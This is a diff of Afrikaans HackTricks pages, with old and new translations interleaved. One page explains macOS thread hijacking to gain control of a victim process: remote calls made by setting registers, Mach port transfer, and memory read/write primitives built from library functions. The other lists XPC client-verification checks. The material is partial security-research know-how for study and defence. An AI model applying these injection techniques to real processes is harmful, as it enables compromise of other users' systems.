Om die draad te beheer, word **`thread_suspend()`** geroep om sy uitvoering te stuit.
|
||||
Om die draad te beheer, word **`thread_suspend()`** aangeroep, wat die uitvoering stop.
|
||||
|
||||
Die enigste toegelate operasies op die afgeleë draad behels die **stop** en **begin** daarvan, die **herwinning** en **verandering** van sy registerwaardes. Afgeleë funksie-oproepe word geïnisieer deur die registers `x0` tot `x7` in te stel op die **argumente**, die **`pc`** te konfigureer om die gewenste funksie te teiken, en die draad te aktiveer. Om te verseker dat die draad nie na die terugkeer afskakel nie, is dit nodig om die terugkeer op te spoor.
|
||||
Die enigste operasies wat op die afstandlike draad toegelaat word, behels **stop** en **begin**, **herwin** en **wysig** sy registerwaardes. Afstandlike funksie-aanroepe word geïnisieer deur registers `x0` tot `x7` op die **argumente** in te stel, **`pc`** te konfigureer om die gewenste funksie te teiken, en die draad te aktiveer. Om te verseker dat die draad nie cras nadat die terugkeer plaasvind nie, is dit nodig om die terugkeer te detecteer.
|
||||
|
||||
Een strategie behels die **registreer van 'n uitsonderingshanterer** vir die afgeleë draad deur `thread_set_exception_ports()` te gebruik, deur die `lr`-register na 'n ongeldige adres voor die funksie-oproep te stel. Dit veroorsaak 'n uitsondering na die funksie-uitvoering, wat 'n boodskap na die uitsonderingspoort stuur en die staat inspekteer om die terugkeerwaarde te herstel. As alternatief, soos aangeneem van Ian Beer se triple\_fetch-exploit, word `lr` ingestel om oneindig te loop. Die draad se register word dan voortdurend gemonitor totdat **`pc` na daardie instruksie wys**.
|
||||
Een strategie behels **die registrasie van 'n uitsonderinghandler** vir die afstandlike draad met behulp van `thread_set_exception_ports()`, wat die `lr` register op 'n ongeldige adres stel voor die funksie-aanroep. Dit veroorsaak 'n uitsondering na funksie-uitvoering, wat 'n boodskap na die uitsonderingport stuur, wat staatinspeksie van die draad moontlik maak om die terugkeerwaarde te herstel. Alternatiewelik, soos aangeneem van Ian Beer se triple\_fetch exploit, word `lr` op oneindig gelus. Die draad se registers word dan deurlopend gemonitor totdat **`pc` na daardie instruksie wys**.
|
||||
|
||||
## 2. Mach-poorte vir kommunikasie
|
||||
## 2. Mach ports for communication
|
||||
|
||||
Die volgende fase behels die vestiging van Mach-poorte om kommunikasie met die afgeleë draad te fasiliteer. Hierdie poorte is instrumenteel in die oordrag van willekeurige stuur- en ontvangsregte tussen take.
|
||||
Die volgende fase behels die vestiging van Mach-poorte om kommunikasie met die afstandlike draad te fasiliteer. Hierdie poorte is instrumenteel in die oordrag van arbitrêre stuur- en ontvangregte tussen take.
|
||||
|
||||
Vir tweerigtingkommunikasie word twee Mach-ontvangsregte geskep: een in die plaaslike en die ander in die afgeleë taak. Daarna word 'n stuurreg vir elke poort oorgedra na die teenoorgestelde taak, wat boodskapuitruiling moontlik maak.
|
||||
Vir bidireksionele kommunikasie word twee Mach ontvangregte geskep: een in die plaaslike en die ander in die afstandlike taak. Daarna word 'n stuurreg vir elke poort na die teenhanger-taak oorgedra, wat boodskapuitruiling moontlik maak.
|
||||
|
||||
Met die fokus op die plaaslike poort, word die ontvangsreg deur die plaaslike taak aangehou. Die poort word geskep met `mach_port_allocate()`. Die uitdaging lê daarin om 'n stuurreg na hierdie poort oor te dra na die afgeleë taak.
|
||||
Fokus op die plaaslike poort, die ontvangreg word deur die plaaslike taak gehou. Die poort word geskep met `mach_port_allocate()`. Die uitdaging lê in die oordrag van 'n stuurreg na hierdie poort in die afstandlike taak.
|
||||
|
||||
'n Strategie behels die gebruik van `thread_set_special_port()` om 'n stuurreg na die plaaslike poort in die afgeleë draad se `THREAD_KERNEL_PORT` te plaas. Daarna word die afgeleë draad geïnstrueer om `mach_thread_self()` te roep om die stuurreg te herwin.
|
||||
'n Strategie behels die benutting van `thread_set_special_port()` om 'n stuurreg na die plaaslike poort in die afstandlike draad se `THREAD_KERNEL_PORT` te plaas. Dan word die afstandlike draad aangesê om `mach_thread_self()` aan te roep om die stuurreg te verkry.
|
||||
|
||||
Vir die afgeleë poort word die proses in wese omgekeer. Die afgeleë draad word geïnstrueer om 'n Mach-poort te genereer via `mach_reply_port()` (aangesien `mach_port_allocate()` ongeskik is as gevolg van sy terugkeer-meganisme). By die skep van die poort word `mach_port_insert_right()` in die afgeleë draad geroep om 'n stuurreg te vestig. Hierdie reg word dan in die kernel gestoor deur `thread_set_special_port()` te gebruik. Terug in die plaaslike taak word `thread_get_special_port()` gebruik op die afgeleë draad om 'n stuurreg te bekom na die nuut toegewese Mach-poort in die afgeleë taak.
|
||||
Vir die afstandlike poort is die proses basies omgekeer. Die afstandlike draad word aangestuur om 'n Mach-poort te genereer via `mach_reply_port()` (aangesien `mach_port_allocate()` onvanpas is weens sy terugkeermeganisme). Na poortskepping word `mach_port_insert_right()` in die afstandlike draad aangeroep om 'n stuurreg te vestig. Hierdie reg word dan in die kern gestoor met behulp van `thread_set_special_port()`. Terug in die plaaslike taak, word `thread_get_special_port()` op die afstandlike draad gebruik om 'n stuurreg na die nuut toegeken Mach-poort in die afstandlike taak te verkry.
|
||||
|
||||
Voltooiing van hierdie stappe lei tot die vestiging van Mach-poorte, wat die grondslag lê vir tweerigtingkommunikasie.
|
||||
Die voltooiing van hierdie stappe lei tot die vestiging van Mach-poorte, wat die grondslag lê vir bidireksionele kommunikasie.
|
||||
|
||||
## 3. Basiese Geheue Lees-/Skryfprimitiewe
|
||||
## 3. Basic Memory Read/Write Primitives
|
||||
|
||||
In hierdie gedeelte lê die fokus op die gebruik van die uitvoerprimitief om basiese geheue lees- en skryfprimitiewe te vestig. Hierdie aanvanklike stappe is noodsaaklik om meer beheer oor die afgeleë proses te verkry, alhoewel die primitiewe op hierdie stadium nie baie doeleindes dien nie. Binnekort sal hulle opgradeer word na meer gevorderde weergawes.
|
||||
In hierdie afdeling is die fokus op die benutting van die uitvoerprimitive om basiese geheue lees- en skryfprimitive te vestig. Hierdie aanvanklike stappe is van kardinale belang om meer beheer oor die afstandlike proses te verkry, alhoewel die primitive op hierdie stadium nie baie doeleindes sal dien nie. Binnekort sal hulle opgegradeer word na meer gevorderde weergawes.
|
||||
|
||||
### Geheue lees en skryf met behulp van die uitvoerprimitief
|
||||
### Memory Reading and Writing Using Execute Primitive
|
||||
|
||||
Die doel is om geheue lees en skryf uit te voer met behulp van spesifieke funksies. Vir geheue lees word funksies met die volgende struktuur gebruik:
|
||||
Die doel is om geheue te lees en te skryf met behulp van spesifieke funksies. Vir die lees van geheue word funksies wat die volgende struktuur naboots, gebruik:
|
||||
```c
|
||||
uint64_t read_func(uint64_t *address) {
|
||||
return *address;
|
||||
}
|
||||
```
|
||||
En vir skryf na geheue, word funksies soortgelyk aan hierdie struktuur gebruik:
|
||||
En vir skryf na geheue, funksies soortgelyk aan hierdie struktuur word gebruik:
|
||||
```c
|
||||
void write_func(uint64_t *address, uint64_t value) {
|
||||
*address = value;
|
||||
}
|
||||
```
|
||||
Hierdie funksies stem ooreen met die gegewe saamgestelde instruksies:
|
||||
Hierdie funksies stem ooreen met die gegewe samestelling instruksies:
|
||||
```
|
||||
_read_func:
|
||||
ldr x0, [x0]
|
||||
|
@ -71,109 +72,110 @@ _write_func:
|
|||
str x1, [x0]
|
||||
ret
|
||||
```
|
||||
### Identifiseer Geskikte Funksies
|
||||
### Identifying Suitable Functions
|
||||
|
||||
'n Skandering van algemene biblioteke het geskikte kandidate vir hierdie operasies geïdentifiseer:
|
||||
'n Skandering van algemene biblioteke het geskikte kandidate vir hierdie operasies onthul:
|
||||
|
||||
1. **Lees van Geheue:**
|
||||
Die `property_getName()`-funksie van die [Objective-C runtime-biblioteek](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) word geïdentifiseer as 'n geskikte funksie vir die lees van geheue. Die funksie word hieronder uiteengesit:
|
||||
1. **Reading Memory:**
|
||||
Die `property_getName()` funksie van die [Objective-C runtime library](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) word geïdentifiseer as 'n geskikte funksie om geheue te lees. Die funksie word hieronder uiteengesit:
|
||||
```c
|
||||
const char *property_getName(objc_property_t prop) {
|
||||
return prop->name;
|
||||
}
|
||||
```
|
||||
Hierdie funksie tree effektief op soos die `read_func` deur die eerste veld van `objc_property_t` terug te gee.
|
||||
Hierdie funksie funksioneer effektief soos die `read_func` deur die eerste veld van `objc_property_t` terug te gee.
|
||||
|
||||
2. **Skryf van Geheue:**
|
||||
Dit is meer uitdagend om 'n voorafgeboude funksie vir die skryf van geheue te vind. Die `_xpc_int64_set_value()` funksie van libxpc is egter 'n geskikte kandidaat met die volgende disassemblage:
|
||||
2. **Skryf Geheue:**
|
||||
Om 'n voorafgeboude funksie vir die skryf van geheue te vind, is meer uitdagend. Tog is die `_xpc_int64_set_value()` funksie van libxpc 'n geskikte kandidaat met die volgende ontbinding:
|
||||
```c
|
||||
__xpc_int64_set_value:
|
||||
str x1, [x0, #0x18]
|
||||
ret
|
||||
```
|
||||
Om 'n 64-bit skryf by 'n spesifieke adres uit te voer, word die afstandsoproep gestruktureer as:
|
||||
Om 'n 64-bis skrywe op 'n spesifieke adres uit te voer, is die afstandsoproep gestruktureer as:
|
||||
```c
|
||||
_xpc_int64_set_value(address - 0x18, value)
|
||||
```
|
||||
Met hierdie primitiewe gevestig, is die verhoog gestel vir die skep van gedeelde geheue, wat 'n beduidende vordering in die beheer van die afgeleë proses beteken.
|
||||
With these primitives established, the stage is set for creating shared memory, marking a significant progression in controlling the remote process.
|
||||
|
||||
## 4. Gedeelde Geheue Opstelling
|
||||
|
||||
Die doel is om gedeelde geheue tussen plaaslike en afgeleë take te vestig, wat data-oordrag vereenvoudig en die aanroep van funksies met veelvuldige argumente fasiliteer. Die benadering behels die benutting van `libxpc` en sy `OS_xpc_shmem` objek tipe, wat gebaseer is op Mach-geheueinskrywings.
|
||||
Die doel is om gedeelde geheue tussen plaaslike en afstandstake te vestig, wat die oordrag van data vereenvoudig en die oproep van funksies met meerdere argumente fasiliteer. Die benadering behels die benutting van `libxpc` en sy `OS_xpc_shmem` objektipe, wat gebou is op Mach geheue-invoere.
|
||||
|
||||
### Prosessoorsig:
|
||||
### Proses Oorsig:
|
||||
|
||||
1. **Geheue-toekenning**:
|
||||
- Ken die geheue toe vir deling deur `mach_vm_allocate()` te gebruik.
|
||||
- Gebruik `xpc_shmem_create()` om 'n `OS_xpc_shmem` objek vir die toegewese geheuegebied te skep. Hierdie funksie sal die skepping van die Mach-geheueinskrywing bestuur en die Mach-stuurreg op offset `0x18` van die `OS_xpc_shmem` objek stoor.
|
||||
1. **Geheue Toewysing**:
|
||||
- Toewys die geheue vir deel met `mach_vm_allocate()`.
|
||||
- Gebruik `xpc_shmem_create()` om 'n `OS_xpc_shmem` objek te skep vir die toegewyde geheuegebied. Hierdie funksie sal die skepping van die Mach geheue-invoer bestuur en die Mach stuurreg aan offset `0x18` van die `OS_xpc_shmem` objek stoor.
|
||||
|
||||
2. **Skep van Gedeelde Geheue in Afgeleë Proses**:
|
||||
- Ken geheue toe vir die `OS_xpc_shmem` objek in die afgeleë proses met 'n afgeleë oproep na `malloc()`.
|
||||
- Kopieer die inhoud van die plaaslike `OS_xpc_shmem` objek na die afgeleë proses. Hierdie aanvanklike kopie sal egter verkeerde Mach-geheueinskrywingname hê by offset `0x18`.
|
||||
2. **Skep Gedeelde Geheue in Afstandproses**:
|
||||
- Toewys geheue vir die `OS_xpc_shmem` objek in die afstandproses met 'n afstandoproep na `malloc()`.
|
||||
- Kopieer die inhoud van die plaaslike `OS_xpc_shmem` objek na die afstandproses. Hierdie aanvanklike kopie sal egter onakkurate Mach geheue-invoer name hê by offset `0x18`.
|
||||
|
||||
3. **Korrigeer die Mach-Geheueinskrywing**:
|
||||
- Maak gebruik van die `thread_set_special_port()` metode om 'n stuurreg vir die Mach-geheueinskrywing in die afgeleë taak in te voeg.
|
||||
- Korrekteer die Mach-geheueinskrywingveld by offset `0x18` deur dit te oorskryf met die naam van die afgeleë geheueinskrywing.
|
||||
3. **Korrigeer die Mach Geheue Invoer**:
|
||||
- Gebruik die `thread_set_special_port()` metode om 'n stuurreg vir die Mach geheue-invoer in die afstandtaak in te voeg.
|
||||
- Korrigeer die Mach geheue-invoer veld by offset `0x18` deur dit te oorskryf met die naam van die afstand geheue-invoer.
|
||||
|
||||
4. **Voltooiing van Gedeelde Geheue Opstelling**:
|
||||
- Valideer die afgeleë `OS_xpc_shmem` objek.
|
||||
- Stel die gedeelde geheueafbeelding op met 'n afgeleë oproep na `xpc_shmem_remote()`.
|
||||
4. **Finaliseer Gedeelde Geheue Opstelling**:
|
||||
- Valideer die afstand `OS_xpc_shmem` objek.
|
||||
- Vestig die gedeelde geheue kaart met 'n afstandoproep na `xpc_shmem_remote()`.
|
||||
|
||||
Deur hierdie stappe te volg, sal gedeelde geheue tussen die plaaslike en afgeleë take doeltreffend opgestel word, wat eenvoudige data-oordrag en die uitvoering van funksies met veelvuldige argumente moontlik maak.
|
||||
Deur hierdie stappe te volg, sal gedeelde geheue tussen die plaaslike en afstandstake doeltreffend opgestel word, wat vir eenvoudige data-oordragte en die uitvoering van funksies wat meerdere argumente vereis, toelaat.
|
||||
|
||||
## Addisionele Kodefragmente
|
||||
## Bykomende Kode Snippets
|
||||
|
||||
Vir geheue-toekenning en die skep van gedeelde geheue objekte:
|
||||
Vir geheue toewysing en gedeelde geheue objek skepping:
|
||||
```c
|
||||
mach_vm_allocate();
|
||||
xpc_shmem_create();
|
||||
```
|
||||
Vir die skep en regstelling van die gedeelde geheue-object in die afgeleë proses:
|
||||
Vir die skep en regstelling van die gedeelde geheue objek in die afstandsproses:
|
||||
```c
|
||||
malloc(); // for allocating memory remotely
|
||||
thread_set_special_port(); // for inserting send right
|
||||
```
|
||||
Onthou om die besonderhede van Mach-poorte en geheue-invoernaam korrek te hanteer om te verseker dat die gedeelde geheue korrek funksioneer.
|
||||
Onthou om die besonderhede van Mach-poorte en geheue-ingangname korrek te hanteer om te verseker dat die gedeelde geheue-opstelling behoorlik funksioneer.
|
||||
|
||||
## 5. Volledige beheer bereik
|
||||
## 5. Volle Beheer Bereik
|
||||
|
||||
Nadat ons suksesvol gedeelde geheue opgestel en willekeurige uitvoeringsvermoëns verkry het, het ons in wese volledige beheer oor die teikenproses verkry. Die sleutelfunksies wat hierdie beheer moontlik maak, is:
|
||||
By die suksesvolle vestiging van gedeelde geheue en die verkryging van arbitrêre uitvoeringsvermoëns, het ons in wese volle beheer oor die teikenproses verkry. Die sleutel funksies wat hierdie beheer moontlik maak, is:
|
||||
|
||||
1. **Willekeurige Geheue-operasies**:
|
||||
- Voer willekeurige geheuelesings uit deur `memcpy()` aan te roep om data van die gedeelde gebied te kopieer.
|
||||
- Voer willekeurige geheue-skrywings uit deur `memcpy()` te gebruik om data na die gedeelde gebied oor te dra.
|
||||
1. **Arbitrêre Geheue Operasies**:
|
||||
- Voer arbitrêre geheue lees uit deur `memcpy()` aan te roep om data van die gedeelde streek te kopieer.
|
||||
- Voer arbitrêre geheue skrywe uit deur `memcpy()` te gebruik om data na die gedeelde streek oor te dra.
|
||||
|
||||
2. **Hantering van Funksie-oproepe met Meerdere Argumente**:
|
||||
- Vir funksies wat meer as 8 argumente vereis, reël die bykomende argumente op die stapel in ooreenstemming met die oproepkonvensie.
|
||||
- Vir funksies wat meer as 8 argumente vereis, rangskik die addisionele argumente op die stapel in ooreenstemming met die oproepkonvensie.
|
||||
|
||||
3. **Mach-poortoorplasing**:
|
||||
- Oordra van Mach-poorte tussen take deur Mach-boodskappe via voorheen opgestelde poorte.
|
||||
3. **Mach Port Oordrag**:
|
||||
- Oordrag van Mach-poorte tussen take deur Mach-boodskappe via voorheen gevestigde poorte.
|
||||
|
||||
4. **Lêerbeskryweroorplasing**:
|
||||
- Oordra van lêerbeskrywers tussen prosesse deur gebruik te maak van lêerpoorte, 'n tegniek wat deur Ian Beer in `triple_fetch` beklemtoon word.
|
||||
4. **Lêer Descriptor Oordrag**:
|
||||
- Oordrag van lêer descriptors tussen prosesse met behulp van fileports, 'n tegniek wat deur Ian Beer in `triple_fetch` beklemtoon is.
|
||||
|
||||
Hierdie omvattende beheer word gekapsuleer binne die [threadexec](https://github.com/bazad/threadexec) biblioteek, wat 'n gedetailleerde implementering en 'n gebruikersvriendelike API bied vir interaksie met die slagofferproses.
|
||||
Hierdie omvattende beheer is ingekapsuleer binne die [threadexec](https://github.com/bazad/threadexec) biblioteek, wat 'n gedetailleerde implementering en 'n gebruikersvriendelike API bied vir interaksie met die slagoffer proses.
|
||||
|
||||
## Belangrike oorwegings:
|
||||
## Belangrike Oorwegings:
|
||||
|
||||
- Verseker korrekte gebruik van `memcpy()` vir geheuelees-/skryfoperasies om die stabiliteit van die stelsel en die integriteit van data te handhaaf.
|
||||
- Wanneer Mach-poorte of lêerbeskrywers oorgedra word, volg korrekte protokolle en hanteer hulpbronne verantwoordelik om lekke of onbedoelde toegang te voorkom.
|
||||
- Verseker behoorlike gebruik van `memcpy()` vir geheue lees/skrywe operasies om stelsels stabiliteit en data integriteit te handhaaf.
|
||||
- Wanneer Mach-poorte of lêer descriptors oorgedra word, volg behoorlike protokolle en hanteer hulpbronne verantwoordelik om lekkasies of onbedoelde toegang te voorkom.
|
||||
|
||||
Deur hierdie riglyne na te kom en die `threadexec` biblioteek te gebruik, kan 'n persoon prosesse doeltreffend bestuur en interaksie daarmee op 'n fynvlakvlak bereik, en sodoende volledige beheer oor die teikenproses verkry.
|
||||
Deur hierdie riglyne na te kom en die `threadexec` biblioteek te benut, kan 'n mens doeltreffend prosesse op 'n fyn vlak bestuur en mee werk, wat volle beheer oor die teikenproses bereik.
|
||||
|
||||
## Verwysings
|
||||
* [https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,60 +1,61 @@
|
|||
# macOS XPC Verbindende Prosessie Kontroleer
|
||||
# macOS XPC Connecting Process Check
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## XPC Verbindende Prosessie Kontroleer
|
||||
## XPC Connecting Process Check
|
||||
|
||||
Wanneer 'n verbinding met 'n XPC-diens tot stand gebring word, sal die bediener nagaan of die verbinding toegelaat word. Dit is die kontroles wat gewoonlik uitgevoer word:
|
||||
Wanneer 'n verbinding met 'n XPC-diens tot stand gebring word, sal die bediener nagaan of die verbinding toegelaat word. Dit is die kontroles wat dit gewoonlik sal uitvoer:
|
||||
|
||||
1. Kyk of die verbindende **proses onderteken is met 'n Apple-ondertekende** sertifikaat (slegs deur Apple uitgereik).
|
||||
* As dit **nie geverifieer word nie**, kan 'n aanvaller 'n **vals sertifikaat** skep om enige ander kontrole te pas.
|
||||
2. Kyk of die verbindende proses onderteken is met die **organisasie se sertifikaat**, (span-ID-verifikasie).
|
||||
* As dit **nie geverifieer word nie**, kan **enige ontwikkelaarssertifikaat** van Apple gebruik word vir ondertekening en om met die diens te verbind.
|
||||
3. Kyk of die verbindende proses **'n korrekte bundel-ID** bevat.
|
||||
* As dit **nie geverifieer word nie**, kan enige instrument **onderteken deur dieselfde organisasie** gebruik word om met die XPC-diens te kommunikeer.
|
||||
4. (4 of 5) Kyk of die verbindende proses 'n **korrekte sagteware-weergawe-nommer** het.
|
||||
* As dit **nie geverifieer word nie**, kan 'n ou, onveilige kliënte wat vatbaar is vir prosesinjeksie, gebruik word om selfs met die ander kontroles in plek met die XPC-diens te verbind.
|
||||
5. (4 of 5) Kyk of die verbindende proses 'n geharde uitvoertyd het sonder gevaarlike toekennings (soos diegene wat die laai van willekeurige biblioteke of die gebruik van DYLD-omgewingsveranderlikes toelaat).
|
||||
1. As dit **nie geverifieer word nie**, kan die kliënt **vatbaar wees vir koderingsinjeksie**
|
||||
6. Kyk of die verbindende proses 'n **toekennings** het wat dit in staat stel om met die diens te verbind. Dit is van toepassing op Apple-binêres.
|
||||
7. Die **verifikasie** moet **gebaseer** wees op die verbindende **kliënt se oudit-token** **in plaas** van sy proses-ID (**PID**) aangesien die eerste **PID-hergebruikaanvalle** voorkom.
|
||||
* Ontwikkelaars gebruik **skaars die oudit-token** API-oproep aangesien dit **privaat** is, sodat Apple dit enige tyd kan **verander**. Daarbenewens is die gebruik van private API's nie toegelaat in Mac App Store-toepassings nie.
|
||||
* As die metode **`processIdentifier`** gebruik word, kan dit vatbaar wees
|
||||
* **`xpc_dictionary_get_audit_token`** moet eerder gebruik word as **`xpc_connection_get_audit_token`**, aangesien die laaste ook [vatbaar kan wees in sekere situasies](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
|
||||
1. Kyk of die verbindende **proses onderteken is met 'n Apple-ondertekende** sertifikaat (slegs deur Apple gegee).
|
||||
* As dit **nie geverifieer is nie**, kan 'n aanvaller 'n **valse sertifikaat** skep om aan enige ander kontrole te voldoen.
|
||||
2. Kyk of die verbindende proses onderteken is met die **organisasie se sertifikaat**, (span ID verifikasie).
|
||||
* As dit **nie geverifieer is nie**, kan **enige ontwikkelaar sertifikaat** van Apple gebruik word om te onderteken, en met die diens te verbind.
|
||||
3. Kyk of die verbindende proses **'n behoorlike bundel ID** bevat.
|
||||
* As dit **nie geverifieer is nie**, kan enige hulpmiddel **onderteken deur dieselfde org** gebruik word om met die XPC-diens te kommunikeer.
|
||||
4. (4 of 5) Kyk of die verbindende proses 'n **behoorlike sagteware weergawe nommer** het.
|
||||
* As dit **nie geverifieer is nie**, kan 'n ou, onveilige kliënt, kwesbaar vir proses inspuiting, gebruik word om met die XPC-diens te verbind, selfs met die ander kontroles in plek.
|
||||
5. (4 of 5) Kyk of die verbindende proses 'n geharde tydperk het sonder gevaarlike regte (soos dié wat toelaat om arbitrêre biblioteke te laai of DYLD omgewings veranderlikes te gebruik).
|
||||
1. As dit **nie geverifieer is nie**, mag die kliënt **kwesbaar wees vir kode inspuiting**.
|
||||
6. Kyk of die verbindende proses 'n **regte** het wat dit toelaat om met die diens te verbind. Dit is van toepassing op Apple binêre.
|
||||
7. Die **verifikasie** moet **gebaseer** wees op die verbindende **kliënt se oudit token** **in plaas van** sy proses ID (**PID**) aangesien die eerste **PID hergebruik aanvalle** voorkom.
|
||||
* Ontwikkelaars **gebruik selde die oudit token** API-oproep aangesien dit **privaat** is, so Apple kan dit **enige tyd verander**. Boonop is privaat API gebruik nie toegelaat in Mac App Store toepassings nie.
|
||||
* As die metode **`processIdentifier`** gebruik word, mag dit kwesbaar wees.
|
||||
* **`xpc_dictionary_get_audit_token`** moet gebruik word in plaas van **`xpc_connection_get_audit_token`**, aangesien laasgenoemde ook [kwesbaar kan wees in sekere situasies](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
|
||||
|
||||
### Kommunikasie-aanvalle
|
||||
### Communication Attacks
|
||||
|
||||
Vir meer inligting oor die PID-hergebruikaanval, kyk na:
|
||||
Vir meer inligting oor die PID hergebruik aanval, kyk:
|
||||
|
||||
{% content-ref url="macos-pid-reuse.md" %}
|
||||
[macos-pid-reuse.md](macos-pid-reuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Vir meer inligting oor die **`xpc_connection_get_audit_token`**-aanval, kyk na:
|
||||
Vir meer inligting oor **`xpc_connection_get_audit_token`** aanval, kyk:
|
||||
|
||||
{% content-ref url="macos-xpc_connection_get_audit_token-attack.md" %}
|
||||
[macos-xpc\_connection\_get\_audit\_token-attack.md](macos-xpc\_connection\_get\_audit\_token-attack.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Trustcache - Voorkoming van Afwaartse Aanvalle
|
||||
### Trustcache - Downgrade Attacks Prevention
|
||||
|
||||
Trustcache is 'n verdedigingsmetode wat in Apple Silicon-masjiene ingevoer is en 'n databasis van CDHSAH van Apple-binêres stoor, sodat slegs toegelate, onveranderde binêres uitgevoer kan word. Dit voorkom die uitvoering van afwaartse weergawes.
|
||||
Trustcache is 'n defensiewe metode wat in Apple Silicon masjiene bekendgestel is wat 'n databasis van CDHSAH van Apple binêre stoor sodat slegs toegelate nie-gemodifiseerde binêre uitgevoer kan word. Dit voorkom die uitvoering van downgrade weergawes.
|
||||
|
||||
### Kodevoorbeelde
|
||||
### Code Examples
|
||||
|
||||
Die bediener sal hierdie **verifikasie** implementeer in 'n funksie genaamd **`shouldAcceptNewConnection`**.
|
||||
Die bediener sal hierdie **verifikasie** in 'n funksie genaamd **`shouldAcceptNewConnection`** implementeer.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
|
@ -65,9 +66,9 @@ return YES;
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Die objek NSXPCConnection het 'n **privaat** eienskap **`auditToken`** (die een wat gebruik moet word maar kan verander) en 'n **publieke** eienskap **`processIdentifier`** (die een wat nie gebruik moet word nie).
|
||||
Die objek NSXPCConnection het 'n **private** eiendom **`auditToken`** (die een wat gebruik moet word maar kan verander) en 'n **public** eiendom **`processIdentifier`** (die een wat nie gebruik moet word nie).
|
||||
|
||||
Die verbindende proses kan geverifieer word met iets soos:
|
||||
Die verbindingsproses kan verifieer word met iets soos:
|
||||
|
||||
